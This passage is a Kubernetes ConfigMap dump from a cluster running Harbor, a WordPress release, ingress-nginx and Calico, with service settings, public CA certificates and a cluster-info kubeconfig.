    CHART_CACHE_DRIVER: redis
    CONFIG_PATH: /etc/core/app.conf
    CORE_LOCAL_URL: http://127.0.0.1:8080
    CORE_URL: http://harbor-core:80
    DATABASE_TYPE: postgresql
    EXT_ENDPOINT: https://core.harbor.domain
    HTTP_PROXY: ""
    HTTPS_PROXY: ""
    JOBSERVICE_URL: http://harbor-jobservice
    LOG_LEVEL: info
    NO_PROXY: harbor-core,harbor-jobservice,harbor-database,harbor-registry,harbor-portal,harbor-trivy,harbor-exporter,127.0.0.1,localhost,.local,.internal
    PERMITTED_REGISTRY_TYPES_FOR_PROXY_CACHE: docker-hub,harbor,azure-acr,ali-acr,aws-ecr,google-gcr,docker-registry,github-ghcr,jfrog-artifactory
    PORT: "8080"
    PORTAL_URL: http://harbor-portal
    POSTGRESQL_DATABASE: registry
    POSTGRESQL_HOST: harbor-database
    POSTGRESQL_MAX_IDLE_CONNS: "100"
    POSTGRESQL_MAX_OPEN_CONNS: "900"
    POSTGRESQL_PORT: "5432"
    POSTGRESQL_SSLMODE: disable
    POSTGRESQL_USERNAME: postgres
    QUOTA_UPDATE_PROVIDER: db
    REGISTRY_CONTROLLER_URL: http://harbor-registry:8080
    REGISTRY_CREDENTIAL_USERNAME: harbor_registry_user
    REGISTRY_STORAGE_PROVIDER_NAME: filesystem
    REGISTRY_URL: http://harbor-registry:5000
    REPLICATION_ADAPTER_WHITELIST: ali-acr,aws-ecr,azure-acr,docker-hub,docker-registry,github-ghcr,google-gcr,harbor,huawei-SWR,jfrog-artifactory,tencent-tcr,volcengine-cr
    TOKEN_SERVICE_URL: http://harbor-core:80/service/token
    TRIVY_ADAPTER_URL: http://harbor-trivy:8080
    WITH_TRIVY: "true"
    app.conf: |
      appname = Harbor
      runmode = prod
      enablegzip = true

      [prod]
      httpport = 8080
  kind: ConfigMap
  metadata:
    annotations:
      meta.helm.sh/release-name: harbor
      meta.helm.sh/release-namespace: harbor
    creationTimestamp: "2025-10-19T11:57:58Z"
    labels:
      app: harbor
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      heritage: Helm
      release: harbor
    name: harbor-core
    namespace: harbor
    resourceVersion: "6777379"
    uid: 50588af7-481b-42e5-b40a-9e9dd17327ee
- apiVersion: v1
  data:
    config.yml: |
      #Server listening port
      protocol: "http"
      port: 8080
      worker_pool:
        workers: 10
        backend: "redis"
        redis_pool:
          redis_url: "redis://harbor-redis:6379/1"
          namespace: "harbor_job_service_namespace"
          idle_timeout_second: 3600
      job_loggers:
        - name: "FILE"
          level: INFO
          settings: # Customized settings of logger
            base_dir: "/var/log/jobs"
          sweeper:
            duration: 14 #days
            settings: # Customized settings of sweeper
              work_dir: "/var/log/jobs"
      metric:
        enabled: false
        path: /metrics
        port: 8001
      #Loggers for the job service
      loggers:
        - name: "STD_OUTPUT"
          level: INFO
      reaper:
        # the max time to wait for a task to finish, if unfinished after max_update_hours, the task will be mark as error, but the task will continue to run, default value is 24
        max_update_hours: 24
        # the max time for execution in running state without new task created
        max_dangling_hours: 168
  kind: ConfigMap
  metadata:
    annotations:
      meta.helm.sh/release-name: harbor
      meta.helm.sh/release-namespace: harbor
    creationTimestamp: "2025-10-19T11:57:58Z"
    labels:
      app: harbor
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      heritage: Helm
      release: harbor
    name: harbor-jobservice
    namespace: harbor
    resourceVersion: "6777381"
    uid: 0612662b-b177-4b75-aa0c-023ad6a889ff
- apiVersion: v1
  data:
    CORE_URL: http://harbor-core:80
    HTTP_PROXY: ""
    HTTPS_PROXY: ""
    JOBSERVICE_WEBHOOK_JOB_HTTP_CLIENT_TIMEOUT: "3"
    JOBSERVICE_WEBHOOK_JOB_MAX_RETRY: "3"
    LOG_LEVEL: info
    NO_PROXY: harbor-core,harbor-jobservice,harbor-database,harbor-registry,harbor-portal,harbor-trivy,harbor-exporter,127.0.0.1,localhost,.local,.internal
    REGISTRY_CONTROLLER_URL: http://harbor-registry:8080
    REGISTRY_CREDENTIAL_USERNAME: harbor_registry_user
    REGISTRY_URL: http://harbor-registry:5000
    TOKEN_SERVICE_URL: http://harbor-core:80/service/token
  kind: ConfigMap
  metadata:
    annotations:
      meta.helm.sh/release-name: harbor
      meta.helm.sh/release-namespace: harbor
    creationTimestamp: "2025-10-19T11:57:58Z"
    labels:
      app: harbor
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      heritage: Helm
      release: harbor
    name: harbor-jobservice-env
    namespace: harbor
    resourceVersion: "6777380"
    uid: e11a7945-1300-4485-9eb8-b3afdea59cb2
- apiVersion: v1
  data:
    nginx.conf: |
      worker_processes auto;
      pid /tmp/nginx.pid;
      events {
          worker_connections  1024;
      }
      http {
          client_body_temp_path /tmp/client_body_temp;
          proxy_temp_path /tmp/proxy_temp;
          fastcgi_temp_path /tmp/fastcgi_temp;
          uwsgi_temp_path /tmp/uwsgi_temp;
          scgi_temp_path /tmp/scgi_temp;
          server {
              listen 8080;
              listen [::]:8080;
              server_name  localhost;
              root   /usr/share/nginx/html;
              index  index.html index.htm;
              include /etc/nginx/mime.types;
              gzip on;
              gzip_min_length 1000;
              gzip_proxied expired no-cache no-store private auth;
              gzip_types text/plain text/css application/json application/javascript application/x-javascript text/xml application/xml application/xml+rss text/javascript;
              location /devcenter-api-2.0 {
                  try_files $uri $uri/ /swagger-ui-index.html;
              }
              location / {
                  try_files $uri $uri/ /index.html;
              }
              location = /index.html {
                  add_header Cache-Control "no-store, no-cache, must-revalidate";
              }
          }
      }
  kind: ConfigMap
  metadata:
    annotations:
      meta.helm.sh/release-name: harbor
      meta.helm.sh/release-namespace: harbor
    creationTimestamp: "2025-10-19T11:57:58Z"
    labels:
      app: harbor
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      heritage: Helm
      release: harbor
    name: harbor-portal
    namespace: harbor
    resourceVersion: "6777382"
    uid: 5f3ab4a6-3789-4f69-9749-6293e0d6411c
- apiVersion: v1
  data:
    config.yml: |
      version: 0.1
      log:
        level: info
        fields:
          service: registry
      storage:
        filesystem:
          rootdirectory: /storage
        cache:
          layerinfo: redis
        maintenance:
          uploadpurging:
            enabled: true
            age: 168h
            interval: 24h
            dryrun: false
        delete:
          enabled: true
        redirect:
          disable: false
      redis:
        addr: harbor-redis:6379
        db: 2
        readtimeout: 10s
        writetimeout: 10s
        dialtimeout: 10s
        enableTLS: false
        pool:
          maxidle: 100
          maxactive: 500
          idletimeout: 60s
      http:
        addr: :5000
        relativeurls: false
        # set via environment variable
        # secret: placeholder
        debug:
          addr: localhost:5001
      auth:
        htpasswd:
          realm: harbor-registry-basic-realm
          path: /etc/registry/passwd
      validation:
        disabled: true
      compatibility:
        schema1:
          enabled: true
    ctl-config.yml: |
      ---
      protocol: "http"
      port: 8080
      log_level: info
      registry_config: "/etc/registry/config.yml"
  kind: ConfigMap
  metadata:
    annotations:
      meta.helm.sh/release-name: harbor
      meta.helm.sh/release-namespace: harbor
    creationTimestamp: "2025-10-19T11:57:58Z"
    labels:
      app: harbor
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      heritage: Helm
      release: harbor
    name: harbor-registry
    namespace: harbor
    resourceVersion: "6777383"
    uid: 5773bdf6-b2da-43bd-a5cd-4589e084d1ea
- apiVersion: v1
  kind: ConfigMap
  metadata:
    annotations:
      meta.helm.sh/release-name: harbor
      meta.helm.sh/release-namespace: harbor
    creationTimestamp: "2025-10-19T11:57:58Z"
    labels:
      app: harbor
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      heritage: Helm
      release: harbor
    name: harbor-registryctl
    namespace: harbor
    resourceVersion: "6777385"
    uid: 1a98f0b1-e327-4c8a-8093-55a9af0166e2
- apiVersion: v1
  data:
    ca.crt: |
      -----BEGIN CERTIFICATE-----
      MIIDBTCCAe2gAwIBAgIILYfYFFPDH9UwDQYJKoZIhvcNAQELBQAwFTETMBEGA1UE
      AxMKa3ViZXJuZXRlczAeFw0yNTA5MjExMTA0MDVaFw0zNTA5MTkxMTA5MDVaMBUx
      EzARBgNVBAMTCmt1YmVybmV0ZXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
      AoIBAQC/IDgp2zaND13k0TSACXzekaWU/m3lrD1rWGNxd3YtrT8cJ5c7aeznF/1Y
      xuHY1CNPWCaTIZAZZsCYFeHehI0vmwpgiBHyHP9u0WhjaZFAcrNeVg2q5s7IvJIl
      itdD2vGrfbs2gCGAtfz33WqjSixZTcAugdBAn7pwc6MM3P5g8egkGLzgz4bFFAcO
      J8eRYjApBVbaUN1Z+zN/bllAZXzmH8p4GUMOVZnzxyB+efi7tqgtBQx6tkcPCTEb
      5ATFzBJV2HRPqUx43Bt9fY+Vlvnrm2iAeE2OLhqD+8VRleuoJlbZIKyYK9duv7te
      jwobpsol/32aw7oaaS0J4uEiJGY9AgMBAAGjWTBXMA4GA1UdDwEB/wQEAwICpDAP
      BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBQJ+hhqUXWmyp8Cmb97ddMr/eZFeDAV
      BgNVHREEDjAMggprdWJlcm5ldGVzMA0GCSqGSIb3DQEBCwUAA4IBAQAWNdMwXo1+
      8MkcGdwmMYIVV5yoi42JVgacZVgO0gXhBeWoTJ4V/ANpULdz8ZsFxZdkBWlOsMxj
      uvM0CJwpkv9gZS4ESoOTkELf5FLwbcP/7wVk7bRQAu1fBv4/LWQwEZt4AF9EIfqs
      XjuPzBoYvol/BWt63QbQ9BsqtzU1U3nVr/mwu2CKFj/JLTTkeeYRVpdCBUI/yG/F
      exJOerAxZNqtVxeLuI704gD4Qvm87OoAJzXnwKdp9wYp7/LlNe4ytZ5l1It8jvWo
      UBerksePljlsl+vc7j7Bx92TeHM4tl3hU/0FmQZVOTP6mD5eCTJNknKW5b9R+zfq
      fypZaRe88KkA
      -----END CERTIFICATE-----
  kind: ConfigMap
  metadata:
    annotations:
      kubernetes.io/description: Contains a CA bundle that can be used to verify the
        kube-apiserver when using internal endpoints such as the internal service
        IP or kubernetes.default.svc. No other usage is guaranteed across distributions
        of Kubernetes clusters.
    creationTimestamp: "2025-09-22T18:40:18Z"
    name: kube-root-ca.crt
    namespace: harbor
    resourceVersion: "268522"
    uid: 99e73ee4-1854-46dd-9fd7-5284274cc2b4
- apiVersion: v1
  data:
    000-default.conf: |
      <VirtualHost *:8000>
              ServerAdmin webmaster@localhost
              DocumentRoot /var/www/html

              ErrorLog ${APACHE_LOG_DIR}/error.log
              CustomLog ${APACHE_LOG_DIR}/access.log combined
      </VirtualHost>
    custom.ini: |
      upload_max_filesize = 64M
      post_max_size = 64M
      memory_limit = 128M
    ports.conf: |
      Listen 8000
  kind: ConfigMap
  metadata:
    annotations:
      meta.helm.sh/release-name: hera
      meta.helm.sh/release-namespace: hera
    creationTimestamp: "2025-10-19T12:11:18Z"
    labels:
      app.kubernetes.io/instance: hera
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: wordpress
      app.kubernetes.io/version: 6.8.3-apache
      helm.sh/chart: wordpress-0.14.5
    name: hera-wordpress-extended
    namespace: hera
    resourceVersion: "6780237"
    uid: 9021d3e4-5c8f-45a2-aa2f-3b6b1c5596e9
- apiVersion: v1
  data:
    ca.crt: |
      -----BEGIN CERTIFICATE-----
      MIIDBTCCAe2gAwIBAgIILYfYFFPDH9UwDQYJKoZIhvcNAQELBQAwFTETMBEGA1UE
      AxMKa3ViZXJuZXRlczAeFw0yNTA5MjExMTA0MDVaFw0zNTA5MTkxMTA5MDVaMBUx
      EzARBgNVBAMTCmt1YmVybmV0ZXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
      AoIBAQC/IDgp2zaND13k0TSACXzekaWU/m3lrD1rWGNxd3YtrT8cJ5c7aeznF/1Y
      xuHY1CNPWCaTIZAZZsCYFeHehI0vmwpgiBHyHP9u0WhjaZFAcrNeVg2q5s7IvJIl
      itdD2vGrfbs2gCGAtfz33WqjSixZTcAugdBAn7pwc6MM3P5g8egkGLzgz4bFFAcO
      J8eRYjApBVbaUN1Z+zN/bllAZXzmH8p4GUMOVZnzxyB+efi7tqgtBQx6tkcPCTEb
      5ATFzBJV2HRPqUx43Bt9fY+Vlvnrm2iAeE2OLhqD+8VRleuoJlbZIKyYK9duv7te
      jwobpsol/32aw7oaaS0J4uEiJGY9AgMBAAGjWTBXMA4GA1UdDwEB/wQEAwICpDAP
      BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBQJ+hhqUXWmyp8Cmb97ddMr/eZFeDAV
      BgNVHREEDjAMggprdWJlcm5ldGVzMA0GCSqGSIb3DQEBCwUAA4IBAQAWNdMwXo1+
      8MkcGdwmMYIVV5yoi42JVgacZVgO0gXhBeWoTJ4V/ANpULdz8ZsFxZdkBWlOsMxj
      uvM0CJwpkv9gZS4ESoOTkELf5FLwbcP/7wVk7bRQAu1fBv4/LWQwEZt4AF9EIfqs
      XjuPzBoYvol/BWt63QbQ9BsqtzU1U3nVr/mwu2CKFj/JLTTkeeYRVpdCBUI/yG/F
      exJOerAxZNqtVxeLuI704gD4Qvm87OoAJzXnwKdp9wYp7/LlNe4ytZ5l1It8jvWo
      UBerksePljlsl+vc7j7Bx92TeHM4tl3hU/0FmQZVOTP6mD5eCTJNknKW5b9R+zfq
      fypZaRe88KkA
      -----END CERTIFICATE-----
  kind: ConfigMap
  metadata:
    annotations:
      kubernetes.io/description: Contains a CA bundle that can be used to verify the
        kube-apiserver when using internal endpoints such as the internal service
        IP or kubernetes.default.svc. No other usage is guaranteed across distributions
        of Kubernetes clusters.
    creationTimestamp: "2025-09-23T12:14:27Z"
    name: kube-root-ca.crt
    namespace: hera
    resourceVersion: "435401"
    uid: 7209ef50-df9b-45bb-a2d4-a9d921ad662e
- apiVersion: v1
  kind: ConfigMap
  metadata:
    annotations:
      meta.helm.sh/release-name: ingress-nginx
      meta.helm.sh/release-namespace: ingress-nginx
    creationTimestamp: "2025-09-21T19:03:27Z"
    labels:
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: ingress-nginx
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: ingress-nginx
      app.kubernetes.io/part-of: ingress-nginx
      app.kubernetes.io/version: 1.13.2
      helm.sh/chart: ingress-nginx-4.13.2
    name: ingress-nginx-controller
    namespace: ingress-nginx
    resourceVersion: "64743"
    uid: 33b75248-d1f2-4f2b-82f3-20f0f67672cc
- apiVersion: v1
  data:
    ca.crt: |
      -----BEGIN CERTIFICATE-----
      MIIDBTCCAe2gAwIBAgIILYfYFFPDH9UwDQYJKoZIhvcNAQELBQAwFTETMBEGA1UE
      AxMKa3ViZXJuZXRlczAeFw0yNTA5MjExMTA0MDVaFw0zNTA5MTkxMTA5MDVaMBUx
      EzARBgNVBAMTCmt1YmVybmV0ZXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
      AoIBAQC/IDgp2zaND13k0TSACXzekaWU/m3lrD1rWGNxd3YtrT8cJ5c7aeznF/1Y
      xuHY1CNPWCaTIZAZZsCYFeHehI0vmwpgiBHyHP9u0WhjaZFAcrNeVg2q5s7IvJIl
      itdD2vGrfbs2gCGAtfz33WqjSixZTcAugdBAn7pwc6MM3P5g8egkGLzgz4bFFAcO
      J8eRYjApBVbaUN1Z+zN/bllAZXzmH8p4GUMOVZnzxyB+efi7tqgtBQx6tkcPCTEb
      5ATFzBJV2HRPqUx43Bt9fY+Vlvnrm2iAeE2OLhqD+8VRleuoJlbZIKyYK9duv7te
      jwobpsol/32aw7oaaS0J4uEiJGY9AgMBAAGjWTBXMA4GA1UdDwEB/wQEAwICpDAP
      BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBQJ+hhqUXWmyp8Cmb97ddMr/eZFeDAV
      BgNVHREEDjAMggprdWJlcm5ldGVzMA0GCSqGSIb3DQEBCwUAA4IBAQAWNdMwXo1+
      8MkcGdwmMYIVV5yoi42JVgacZVgO0gXhBeWoTJ4V/ANpULdz8ZsFxZdkBWlOsMxj
      uvM0CJwpkv9gZS4ESoOTkELf5FLwbcP/7wVk7bRQAu1fBv4/LWQwEZt4AF9EIfqs
      XjuPzBoYvol/BWt63QbQ9BsqtzU1U3nVr/mwu2CKFj/JLTTkeeYRVpdCBUI/yG/F
      exJOerAxZNqtVxeLuI704gD4Qvm87OoAJzXnwKdp9wYp7/LlNe4ytZ5l1It8jvWo
      UBerksePljlsl+vc7j7Bx92TeHM4tl3hU/0FmQZVOTP6mD5eCTJNknKW5b9R+zfq
      fypZaRe88KkA
      -----END CERTIFICATE-----
  kind: ConfigMap
  metadata:
    annotations:
      kubernetes.io/description: Contains a CA bundle that can be used to verify the
        kube-apiserver when using internal endpoints such as the internal service
        IP or kubernetes.default.svc. No other usage is guaranteed across distributions
        of Kubernetes clusters.
    creationTimestamp: "2025-09-21T19:03:17Z"
    name: kube-root-ca.crt
    namespace: ingress-nginx
    resourceVersion: "64673"
    uid: fbdd6536-0e11-4d91-bc87-c4f13984bb55
- apiVersion: v1
  data:
    ca.crt: |
      -----BEGIN CERTIFICATE-----
      MIIDBTCCAe2gAwIBAgIILYfYFFPDH9UwDQYJKoZIhvcNAQELBQAwFTETMBEGA1UE
      AxMKa3ViZXJuZXRlczAeFw0yNTA5MjExMTA0MDVaFw0zNTA5MTkxMTA5MDVaMBUx
      EzARBgNVBAMTCmt1YmVybmV0ZXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
      AoIBAQC/IDgp2zaND13k0TSACXzekaWU/m3lrD1rWGNxd3YtrT8cJ5c7aeznF/1Y
      xuHY1CNPWCaTIZAZZsCYFeHehI0vmwpgiBHyHP9u0WhjaZFAcrNeVg2q5s7IvJIl
      itdD2vGrfbs2gCGAtfz33WqjSixZTcAugdBAn7pwc6MM3P5g8egkGLzgz4bFFAcO
      J8eRYjApBVbaUN1Z+zN/bllAZXzmH8p4GUMOVZnzxyB+efi7tqgtBQx6tkcPCTEb
      5ATFzBJV2HRPqUx43Bt9fY+Vlvnrm2iAeE2OLhqD+8VRleuoJlbZIKyYK9duv7te
      jwobpsol/32aw7oaaS0J4uEiJGY9AgMBAAGjWTBXMA4GA1UdDwEB/wQEAwICpDAP
      BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBQJ+hhqUXWmyp8Cmb97ddMr/eZFeDAV
      BgNVHREEDjAMggprdWJlcm5ldGVzMA0GCSqGSIb3DQEBCwUAA4IBAQAWNdMwXo1+
      8MkcGdwmMYIVV5yoi42JVgacZVgO0gXhBeWoTJ4V/ANpULdz8ZsFxZdkBWlOsMxj
      uvM0CJwpkv9gZS4ESoOTkELf5FLwbcP/7wVk7bRQAu1fBv4/LWQwEZt4AF9EIfqs
      XjuPzBoYvol/BWt63QbQ9BsqtzU1U3nVr/mwu2CKFj/JLTTkeeYRVpdCBUI/yG/F
      exJOerAxZNqtVxeLuI704gD4Qvm87OoAJzXnwKdp9wYp7/LlNe4ytZ5l1It8jvWo
      UBerksePljlsl+vc7j7Bx92TeHM4tl3hU/0FmQZVOTP6mD5eCTJNknKW5b9R+zfq
      fypZaRe88KkA
      -----END CERTIFICATE-----
  kind: ConfigMap
  metadata:
    annotations:
      kubernetes.io/description: Contains a CA bundle that can be used to verify the
        kube-apiserver when using internal endpoints such as the internal service
        IP or kubernetes.default.svc. No other usage is guaranteed across distributions
        of Kubernetes clusters.
    creationTimestamp: "2025-10-19T15:15:43Z"
    name: kube-root-ca.crt
    namespace: jaeger
    resourceVersion: "6810507"
    uid: 566a86d7-ee43-4879-9b6e-27ea926dda8f
- apiVersion: v1
  data:
    ca.crt: |
      -----BEGIN CERTIFICATE-----
      MIIDBTCCAe2gAwIBAgIILYfYFFPDH9UwDQYJKoZIhvcNAQELBQAwFTETMBEGA1UE
      AxMKa3ViZXJuZXRlczAeFw0yNTA5MjExMTA0MDVaFw0zNTA5MTkxMTA5MDVaMBUx
      EzARBgNVBAMTCmt1YmVybmV0ZXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
      AoIBAQC/IDgp2zaND13k0TSACXzekaWU/m3lrD1rWGNxd3YtrT8cJ5c7aeznF/1Y
      xuHY1CNPWCaTIZAZZsCYFeHehI0vmwpgiBHyHP9u0WhjaZFAcrNeVg2q5s7IvJIl
      itdD2vGrfbs2gCGAtfz33WqjSixZTcAugdBAn7pwc6MM3P5g8egkGLzgz4bFFAcO
      J8eRYjApBVbaUN1Z+zN/bllAZXzmH8p4GUMOVZnzxyB+efi7tqgtBQx6tkcPCTEb
      5ATFzBJV2HRPqUx43Bt9fY+Vlvnrm2iAeE2OLhqD+8VRleuoJlbZIKyYK9duv7te
      jwobpsol/32aw7oaaS0J4uEiJGY9AgMBAAGjWTBXMA4GA1UdDwEB/wQEAwICpDAP
      BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBQJ+hhqUXWmyp8Cmb97ddMr/eZFeDAV
      BgNVHREEDjAMggprdWJlcm5ldGVzMA0GCSqGSIb3DQEBCwUAA4IBAQAWNdMwXo1+
      8MkcGdwmMYIVV5yoi42JVgacZVgO0gXhBeWoTJ4V/ANpULdz8ZsFxZdkBWlOsMxj
      uvM0CJwpkv9gZS4ESoOTkELf5FLwbcP/7wVk7bRQAu1fBv4/LWQwEZt4AF9EIfqs
      XjuPzBoYvol/BWt63QbQ9BsqtzU1U3nVr/mwu2CKFj/JLTTkeeYRVpdCBUI/yG/F
      exJOerAxZNqtVxeLuI704gD4Qvm87OoAJzXnwKdp9wYp7/LlNe4ytZ5l1It8jvWo
      UBerksePljlsl+vc7j7Bx92TeHM4tl3hU/0FmQZVOTP6mD5eCTJNknKW5b9R+zfq
      fypZaRe88KkA
      -----END CERTIFICATE-----
  kind: ConfigMap
  metadata:
    annotations:
      kubernetes.io/description: Contains a CA bundle that can be used to verify the
        kube-apiserver when using internal endpoints such as the internal service
        IP or kubernetes.default.svc. No other usage is guaranteed across distributions
        of Kubernetes clusters.
    creationTimestamp: "2025-09-21T11:09:25Z"
    name: kube-root-ca.crt
    namespace: kube-node-lease
    resourceVersion: "373"
    uid: 9142d3eb-525e-4985-ad29-6c3d22a72040
- apiVersion: v1
  data:
    kubeconfig: |
      apiVersion: v1
      clusters:
      - cluster:
          certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURCVENDQWUyZ0F3SUJBZ0lJTFlmWUZGUERIOVV3RFFZSktvWklodmNOQVFFTEJRQXdGVEVUTUJFR0ExVUUKQXhNS2EzVmlaWEp1WlhSbGN6QWVGdzB5TlRBNU1qRXhNVEEwTURWYUZ3MHpOVEE1TVRreE1UQTVNRFZhTUJVeApFekFSQmdOVkJBTVRDbXQxWW1WeWJtVjBaWE13Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLCkFvSUJBUUMvSURncDJ6YU5EMTNrMFRTQUNYemVrYVdVL20zbHJEMXJXR054ZDNZdHJUOGNKNWM3YWV6bkYvMVkKeHVIWTFDTlBXQ2FUSVpBWlpzQ1lGZUhlaEkwdm13cGdpQkh5SFA5dTBXaGphWkZBY3JOZVZnMnE1czdJdkpJbAppdGREMnZHcmZiczJnQ0dBdGZ6MzNXcWpTaXhaVGNBdWdkQkFuN3B3YzZNTTNQNWc4ZWdrR0x6Z3o0YkZGQWNPCko4ZVJZakFwQlZiYVVOMVorek4vYmxsQVpYem1IOHA0R1VNT1Zabnp4eUIrZWZpN3RxZ3RCUXg2dGtjUENURWIKNUFURnpCSlYySFJQcVV4NDNCdDlmWStWbHZucm0yaUFlRTJPTGhxRCs4VlJsZXVvSmxiWklLeVlLOWR1djd0ZQpqd29icHNvbC8zMmF3N29hYVMwSjR1RWlKR1k5QWdNQkFBR2pXVEJYTUE0R0ExVWREd0VCL3dRRUF3SUNwREFQCkJnTlZIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJRSitoaHFVWFdteXA4Q21iOTdkZE1yL2VaRmVEQVYKQmdOVkhSRUVEakFNZ2dwcmRXSmxjbTVsZEdWek1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQVdOZE13WG8xKwo4TWtjR2R3bU1ZSVZWNXlvaTQySlZnYWNaVmdPMGdYaEJlV29USjRWL0FOcFVMZHo4WnNGeFpka0JXbE9zTXhqCnV2TTBDSndwa3Y5Z1pTNEVTb09Ua0VMZjVGTHdiY1AvN3dWazdiUlFBdTFmQnY0L0xXUXdFWnQ0QUY5RUlmcXMKWGp1UHpCb1l2b2wvQld0NjNRYlE5QnNxdHpVMVUzblZyL213dTJDS0ZqL0pMVFRrZWVZUlZwZENCVUkveUcvRgpleEpPZXJBeFpOcXRWeGVMdUk3MDRnRDRRdm04N09vQUp6WG53S2RwOXdZcDcvTGxOZTR5dFo1bDFJdDhqdldvClVCZXJrc2VQbGpsc2wrdmM3ajdCeDkyVGVITTR0bDNoVS8wRm1RWlZPVFA2bUQ1ZUNUSk5rbktXNWI5Uit6ZnEKZnlwWmFSZTg4S2tBCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K
          server: https://172.16.30.250:6443
        name: ""
      contexts: null
      current-context: ""
      kind: Config
      preferences: {}
      users: null
  kind: ConfigMap
  metadata:
    creationTimestamp: "2025-09-21T11:09:18Z"
    name: cluster-info
    namespace: kube-public
    resourceVersion: "201825"
    uid: 326af8aa-93ba-4f3e-8fb5-ce2046f54c28
- apiVersion: v1
  data:
    ca.crt: |
      -----BEGIN CERTIFICATE-----
      MIIDBTCCAe2gAwIBAgIILYfYFFPDH9UwDQYJKoZIhvcNAQELBQAwFTETMBEGA1UE
      AxMKa3ViZXJuZXRlczAeFw0yNTA5MjExMTA0MDVaFw0zNTA5MTkxMTA5MDVaMBUx
      EzARBgNVBAMTCmt1YmVybmV0ZXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
      AoIBAQC/IDgp2zaND13k0TSACXzekaWU/m3lrD1rWGNxd3YtrT8cJ5c7aeznF/1Y
      xuHY1CNPWCaTIZAZZsCYFeHehI0vmwpgiBHyHP9u0WhjaZFAcrNeVg2q5s7IvJIl
      itdD2vGrfbs2gCGAtfz33WqjSixZTcAugdBAn7pwc6MM3P5g8egkGLzgz4bFFAcO
      J8eRYjApBVbaUN1Z+zN/bllAZXzmH8p4GUMOVZnzxyB+efi7tqgtBQx6tkcPCTEb
      5ATFzBJV2HRPqUx43Bt9fY+Vlvnrm2iAeE2OLhqD+8VRleuoJlbZIKyYK9duv7te
      jwobpsol/32aw7oaaS0J4uEiJGY9AgMBAAGjWTBXMA4GA1UdDwEB/wQEAwICpDAP
      BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBQJ+hhqUXWmyp8Cmb97ddMr/eZFeDAV
      BgNVHREEDjAMggprdWJlcm5ldGVzMA0GCSqGSIb3DQEBCwUAA4IBAQAWNdMwXo1+
      8MkcGdwmMYIVV5yoi42JVgacZVgO0gXhBeWoTJ4V/ANpULdz8ZsFxZdkBWlOsMxj
      uvM0CJwpkv9gZS4ESoOTkELf5FLwbcP/7wVk7bRQAu1fBv4/LWQwEZt4AF9EIfqs
      XjuPzBoYvol/BWt63QbQ9BsqtzU1U3nVr/mwu2CKFj/JLTTkeeYRVpdCBUI/yG/F
      exJOerAxZNqtVxeLuI704gD4Qvm87OoAJzXnwKdp9wYp7/LlNe4ytZ5l1It8jvWo
      UBerksePljlsl+vc7j7Bx92TeHM4tl3hU/0FmQZVOTP6mD5eCTJNknKW5b9R+zfq
      fypZaRe88KkA
      -----END CERTIFICATE-----
  kind: ConfigMap
  metadata:
    annotations:
      kubernetes.io/description: Contains a CA bundle that can be used to verify the
        kube-apiserver when using internal endpoints such as the internal service
        IP or kubernetes.default.svc. No other usage is guaranteed across distributions
        of Kubernetes clusters.
    creationTimestamp: "2025-09-21T11:09:25Z"
    name: kube-root-ca.crt
    namespace: kube-public
    resourceVersion: "374"
    uid: 9130c51f-57b3-4a75-bdcf-6af526aedc22
- apiVersion: v1
  data:
    calico_backend: bird
    cni_network_config: |-
      {
        "name": "k8s-pod-network",
        "cniVersion": "0.3.1",
        "plugins": [
          {
            "type": "calico",
            "log_level": "info",
            "log_file_path": "/var/log/calico/cni/cni.log",
            "datastore_type": "kubernetes",
            "nodename": "__KUBERNETES_NODE_NAME__",
            "mtu": __CNI_MTU__,
            "ipam": {
                "type": "calico-ipam"
            },
            "policy": {
                "type": "k8s"
            },
            "kubernetes": {
                "kubeconfig": "__KUBECONFIG_FILEPATH__"
            }
          },
          {
            "type": "portmap",
            "snat": true,
            "capabilities": {"portMappings": true}
          },
          {
            "type": "bandwidth",
            "capabilities": {"bandwidth": true}
          }
        ]
      }
    typha_service_name: none
    veth_mtu: "0"
  kind: ConfigMap
  metadata:
    annotations:
      kubectl.kubernetes.io/last-applied-configuration: |
